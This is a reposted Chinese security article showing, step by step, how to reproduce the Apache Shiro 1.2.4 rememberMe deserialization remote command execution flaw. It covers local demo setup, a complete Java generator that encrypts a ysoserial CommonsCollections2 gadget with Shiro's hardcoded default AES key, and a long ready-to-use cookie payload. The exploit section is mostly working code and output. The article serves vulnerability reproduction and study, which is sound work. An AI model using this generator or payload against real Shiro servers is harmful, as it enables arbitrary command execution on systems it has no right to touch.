转载

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

*本文原创作者:zhujunboabc,本文属FreeBuf原创奖励计划,未经许可禁止转载

搜了一下,发现网上关于apache shiro 1.2.4版本的漏洞整理报告写的过于的简单,或许是大佬们讲的比较专业,我这个小白看不懂的缘故,特地在本地做一次完整的展现。

先从shiro官方获取shiro 1.2.4的源码包,地址: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4 ,在里面选择1.2.4版本的shiro源码进行下载。

下载完成之后,解压文件:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

由于是开源项目,需要先配置maven环境,具体环境配置可以百度查看。

解压完成之后,进入目录shiro-shiro-root-1.2.4/samples/web ,由于是maven构建的开源工程,我们需要先将工程转换成war包来部署。

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

这里我们需要安装maven,去maven官方网站下载maven,配置maven环境变量,执行mvn -v,如下显示,表明你装好了maven并配置好了环境。

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

接下来,对shiro的例子进行转换成一个eclipse项目,cmd进入到 shiro-shiro-root-1.2.4/samples/web目录下,执行:mvn eclipse:eclipse

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

接下来是漫长的等待(网速较慢),等待到所有的jar包都完成了下载之后,成功的编译成一个eclipse项目

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

工程路径下已经生成了eclipse的工程,如图:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

导入工程到eclipse中,报错提示:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

这种情况,通过百度查到解决方法:

1,Right-click on your project, select Maven -> Disable Maven Nature.

2,Open you terminal, go to your project folder and do “mvn eclipse:clean”

3,Right click on your Project and select “Configure -> Convert into Maven Project”

经过如上步骤之后,工程正常编译,无报错

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

接下来,我们需要导出一个war包来放到我们tomcat目录下,来启动这个demo。

1,确定pom.xml中配置为war。

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

2,右键pom.xml,run as maven install

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

运行之后,成功编译

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

在工程目录下,可以发现war包已经成功编译:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

修改war包的名称为shiro.war,为了方便工程访问,部署到tomcat(放置到tomcat的webapps目录下,启动tomcat即可)

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

启动成功,并访问 http://localhost:8080/shiro/

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

web访问:

到这里,我们的demo才成功的部署完成。

接下来需要生成payload,通过查看apache官方的说明:

(1)rememberMe cookie

(2)CookieRememberMeManager.java

(3)Base64

(4)AES

(5)加密密钥硬编码

(6)Java serialization

生成payload的方式,就是需要这几个部分,这里我贴一下我的代码供大家参考:

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.security.Key;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

import ysoserial.payloads.CommonsCollections2;
import ysoserial.payloads.ObjectPayload;

public class ShiroPOC {
	
	private static final byte[] keyBytes = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

	public static void main(String[] args) {
		
		if(args.length!=2) {
			System.out.println("usage: java -jar shiroPoc.jar command pocPath");
		}

		try {

			String className = CommonsCollections2.class.getPackage().getName() +  ".CommonsCollections2";
			
			Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
		    ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
		    Object object = payload.getObject(args[0]);
		    
		    byte[] objectBytes = toByteArray(object);
		    
		    byte[] objectEncriptBytes = aesEncrypt(objectBytes);
		    System.out.println("加密后:"+objectEncriptBytes.length);
		    
		    String strHex = parseByte2HexStr(objectEncriptBytes);
		    System.out.println("转十六进制后:"+strHex);
		    
		    byte[] hexTobyte = parseHexStr2Byte(strHex);
		    System.out.println("转二进制后:"+hexTobyte);
		    System.out.println(hexTobyte.length);
		    
		    byte[] descBytes = AES_CBC_Decrypt(hexTobyte);
		    System.out.println("解密后:"+new String(descBytes));
		    
		    byte[] byteMerger = byteMerger(getIV(),hexTobyte);
		    System.out.println(new String(byteMerger));
		    System.out.println("byteMerger length: "+byteMerger.length);
		    byte[] base64ByteMerger = Base64.encode(byteMerger);
		    String base64MergerStr = new String(base64ByteMerger).replaceAll("/r|/n", "");
		    System.out.println(base64MergerStr);
		    
		    createFile(args[1], base64MergerStr);
		    
		    byte[] descriptByte = Base64.decode(base64MergerStr);
		    byte[] objectByte = new byte[descriptByte.length - 16];
		    System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16); 
		    byte[] decriptObj = AES_CBC_Decrypt(objectByte);
		    System.out.println(new String(decriptObj));
		    
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	
	/**将16进制转换为二进制 
	 * @param hexStr 
	 * @return 
	 */  
	public static byte[] parseHexStr2Byte(String hexStr) {  
        if (hexStr.length() < 1)  
                return null;  
        byte[] result = new byte[hexStr.length()/2];  
        for (int i = 0;i< hexStr.length()/2; i++) {  
                int high = Integer.parseInt(hexStr.substring(i*2, i*2+1), 16);  
                int low = Integer.parseInt(hexStr.substring(i*2+1, i*2+2), 16);  
                result[i] = (byte) (high * 16 + low);  
        }  
        return result;  
	}
	
	/**将二进制转换成16进制 
	 * @param buf 
	 * @return 
	 */  
	public static String parseByte2HexStr(byte buf[]) {  
        StringBuffer sb = new StringBuffer();  
        for (int i = 0; i < buf.length; i++) {  
                String hex = Integer.toHexString(buf[i] & 0xFF);  
                if (hex.length() == 1) {  
                        hex = '0' + hex;  
                }  
                sb.append(hex.toUpperCase());  
        }  
        return sb.toString();  
	}
	
	/** 
     * 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding 
     */  
    public static byte[] aesEncrypt(byte[] str) throws Exception {  
    	
    	Key keySpec = new SecretKeySpec(keyBytes, "AES");
    	IvParameterSpec ivSpec = new IvParameterSpec(getIV());
    	Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    	cipher.init(Cipher.ENCRYPT_MODE,  keySpec, ivSpec);  
    	/**
    	 * 初始化,此方法可以采用三种方式,按服务器要求来添加。
    	 * (1)无第三个参数
    	 * (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
    	 * (3)采用此代码中的IVParameterSpec
    	 */
    	byte[] b = cipher.doFinal(str);
    	return b;
    }
    
    public static byte[] AES_CBC_Decrypt(byte[] content){  
        
    	byte[] ret = null;
    	try {
    		IvParameterSpec ivSpec = new IvParameterSpec(getIV());
        	Key key = new SecretKeySpec(keyBytes, "AES");
			Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
			cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
			ret = cipher.doFinal(content);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
        return ret;  
    }
    
    public static byte[] getIV() {  
        String iv = "1234567812345678"; //IV length: must be 16 bytes long  
        return iv.getBytes();  
    }  
    
    public static byte[] byteMerger(byte[] byte_1, byte[] byte_2){  
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];  
        System.out.println("arry1长度:"+byte_1.length + "arry1长度:" + byte_2.length);
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);  
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);  
        return byte_3;  
    }
    
    public static void createFile(String path, String str) throws IOException { 
    	
        FileWriter fos = new FileWriter(path);  
        fos.write(str);  
        fos.flush();
        fos.close();  
    }
    
    public static void createFile(String path, byte[] str) throws IOException { 
    	
        FileOutputStream fos = new FileOutputStream(path);  
        fos.write(str);  
        fos.flush();
        fos.close();  
    }
    
    /**  
     * 对象转数组  
     * @param obj  
     * @return  
     */  
    public static byte[] toByteArray (Object obj) {      
        byte[] bytes = null;      
        ByteArrayOutputStream bos = new ByteArrayOutputStream();      
        try {        
            ObjectOutputStream oos = new ObjectOutputStream(bos);         
            oos.writeObject(obj);        
            oos.flush();         
            bytes = bos.toByteArray();      
            oos.close();         
            bos.close();        
        } catch (IOException ex) {        
            ex.printStackTrace();   
        }      
        return bytes;    
    }
}

运行之后,可以生成payload,如下是跳出计算器的paylaod

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

截图:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

说说自己碰到几个问题:

(1)AES加密

/** 
     * 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding 
     */  
    public static byte[] aesEncrypt(byte[] str) throws Exception {  
    	
    	Key keySpec = new SecretKeySpec(keyBytes, "AES");
    	IvParameterSpec ivSpec = new IvParameterSpec(getIV());
    	Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    	cipher.init(Cipher.ENCRYPT_MODE,  keySpec, ivSpec);  
    	/**
    	 * 初始化,此方法可以采用三种方式,按服务器要求来添加。
    	 * (1)无第三个参数
    	 * (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
    	 * (3)采用此代码中的IVParameterSpec
    	 */
    	byte[] b = cipher.doFinal(str);
    	return b;
    }

java加密AES方式,默认使用AES/CBC/PKCS5Padding,但是初始化有三种方式,之前一直使用了前两种方式,导致加密成功之后,tomcat一直报解密失败,通过查看shiro源码,发现采用了第三种方式,如下图:

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

(2)tomcat需要添加相应的common-collection包

【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

文章主要目的是为了说明如何复现漏洞,包括环境搭建和利用java写poc,如果不合大家胃口,欢迎拍砖。

参考文章:

https://www.seebug.org/vuldb/ssvid-92180

https://issues.apache.org/jira/browse/SHIRO-550

*本文原创作者:zhujunboabc,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文  http://www.freebuf.com/articles/system/125187.html
正文到此结束
Loading...